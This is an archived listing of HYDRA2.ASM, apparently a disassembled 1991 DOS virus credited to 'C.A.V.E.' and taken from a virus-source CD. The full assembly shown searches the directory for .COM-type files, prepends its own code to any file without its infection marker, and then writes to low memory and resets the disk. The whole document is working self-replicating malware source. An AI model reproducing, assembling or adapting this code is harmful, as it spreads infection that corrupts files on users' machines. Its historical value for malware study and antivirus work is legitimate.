home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / HYDRA2.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  4KB  |  165 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    HYDRA2                         ██
  7. ;██                                         ██
  8. ;██      Created:   27-Aug-91                             ██
  9. ;██      Passes:    5           Analysis Options on: AW                 ██
  10. ;██      Copyright (c)                                 ██
  11. ;██                                         ██
  12. ;██████████████████████████████████████████████████████████████████████████
  13.  
  14. data_1e        equ    100h
  15. data_2e        equ    235h
  16. data_3e        equ    257h
  17. data_4e        equ    522h
  18. psp_cmd_size    equ    80h
  19. data_15e    equ    157h
  20. data_16e    equ    15Ah
  21.  
  22. seg_a        segment    byte public
  23.         assume    cs:seg_a, ds:seg_a
  24.  
  25.  
  26.         org    100h
  27.  
  28. hydra2        proc    far
  29.  
  30. start:
  31.         jmp    loc_1
  32.         pop    cx
  33.         inc    sp
  34.         add    [bx+si],al
  35. data_7        db    'HyDra-2   Beta - Not For Release'
  36.         db    '. *.CO?'
  37.         db    0
  38. data_10        dw    0, 8B39h
  39. data_12        dw    0
  40. data_13        db    0
  41.         db    29 dup (0)
  42. data_14        db    0
  43.         db    13 dup (0)
  44. copyright    db    'Copyright (c)'
  45.         db    '  1991 by C.A.V.E.  '
  46. loc_1:
  47.         push    ax
  48.         mov    ax,cs
  49.         add    ax,1000h
  50.         xor    di,di            ; Zero register
  51.         mov    cx,157h
  52.         mov    si,100h
  53.         mov    es,ax
  54.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  55.         mov    ah,1Ah
  56.         mov    dx,offset data_13
  57.         int    21h            ; DOS Services  ah=function 1Ah
  58.                         ;  set DTA(disk xfer area) ds:dx
  59.         mov    ah,4Eh            ; 'N'
  60.         mov    dx,offset data_7+22h    ; ('*')
  61.         int    21h            ; DOS Services  ah=function 4Eh
  62.                         ;  find 1st filenam match @ds:dx
  63.         jc    loc_5            ; Jump if carry Set
  64. loc_2:
  65.         mov    ah,3Dh            ; '='
  66.         mov    al,2
  67.         mov    dx,offset data_14
  68.         mov    al,2
  69.         int    21h            ; DOS Services  ah=function 3Dh
  70.                         ;  open file, al=mode,name@ds:dx
  71.         mov    bx,ax
  72.         push    es
  73.         pop    ds
  74.         mov    ax,3F00h
  75.         mov    cx,0FFFFh
  76.         mov    dx,data_15e
  77.         int    21h            ; DOS Services  ah=function 3Fh
  78.                         ;  read file, bx=file handle
  79.                         ;   cx=bytes to ds:dx buffer
  80.         add    ax,157h
  81.         mov    cs:data_12,ax
  82.         cmp    word ptr ds:data_16e,4459h
  83.         jne    loc_3            ; Jump if not equal
  84.         mov    ah,3Eh            ; '>'
  85.         int    21h            ; DOS Services  ah=function 3Eh
  86.                         ;  close file, bx=file handle
  87.         push    cs
  88.         pop    ds
  89.         mov    ah,4Fh            ; 'O'
  90.         int    21h            ; DOS Services  ah=function 4Fh
  91.                         ;  find next filename match
  92.         jc    loc_6            ; Jump if carry Set
  93.         jmp    short loc_2
  94. loc_3:
  95.         xor    cx,cx            ; Zero register
  96.         mov    dx,cx
  97.         mov    ax,4200h
  98.         int    21h            ; DOS Services  ah=function 42h
  99.                         ;  move file ptr, bx=file handle
  100.                         ;   al=method, cx,dx=offset
  101.         jc    loc_4            ; Jump if carry Set
  102.         mov    ah,40h            ; '@'
  103.         xor    dx,dx            ; Zero register
  104.         mov    cx,cs:data_12
  105.         int    21h            ; DOS Services  ah=function 40h
  106.                         ;  write file  bx=file handle
  107.                         ;   cx=bytes from ds:dx buffer
  108. loc_4:
  109.         mov    ah,3Eh            ; '>'
  110.         int    21h            ; DOS Services  ah=function 3Eh
  111.                         ;  close file, bx=file handle
  112.         push    cs
  113.         pop    ds
  114. loc_5:
  115.         mov    ah,1Ah
  116.         mov    dx,psp_cmd_size
  117.         int    21h            ; DOS Services  ah=function 1Ah
  118.                         ;  set DTA(disk xfer area) ds:dx
  119.         jmp    short loc_7
  120.         nop
  121. loc_6:
  122.         push    dx
  123.         xor    ax,ax            ; Zero register
  124.         xor    ax,ax            ; Zero register
  125.         mov    ds,ax
  126.         mov    bx,data_4e
  127.         mov    ah,0FFh
  128.         mov    [bx],ah
  129.         xor    ax,ax            ; Zero register
  130.         int    13h            ; Disk  dl=drive 0  ah=func 00h
  131.                         ;  reset disk, al=return status
  132.         mov    ax,0
  133.         int    21h            ; DOS Services  ah=function 00h
  134.                         ;  terminate, cs=progm seg prefx
  135. loc_7:
  136.         xor    di,di            ; Zero register
  137.         mov    si,data_2e
  138.         mov    cx,22h
  139.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  140.         pop    bx
  141.         mov    cs:data_10,0
  142.         mov    word ptr cs:data_10+2,es
  143.         pop    bx
  144.         jmp    dword ptr cs:data_10
  145.         push    ds
  146.         pop    es
  147.         mov    cx,0FFFFh
  148.         mov    si,data_3e
  149.         mov    di,data_1e
  150.         sub    cx,si
  151.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  152.         mov    word ptr cs:[100h],100h
  153.         mov    word ptr cs:[102h],ds
  154.         mov    ax,bx
  155.         jmp    dword ptr cs:[100h]
  156.         int    20h            ; DOS program terminate
  157.  
  158. hydra2        endp
  159.  
  160. seg_a        ends
  161.  
  162.  
  163.  
  164.         end    start
  165.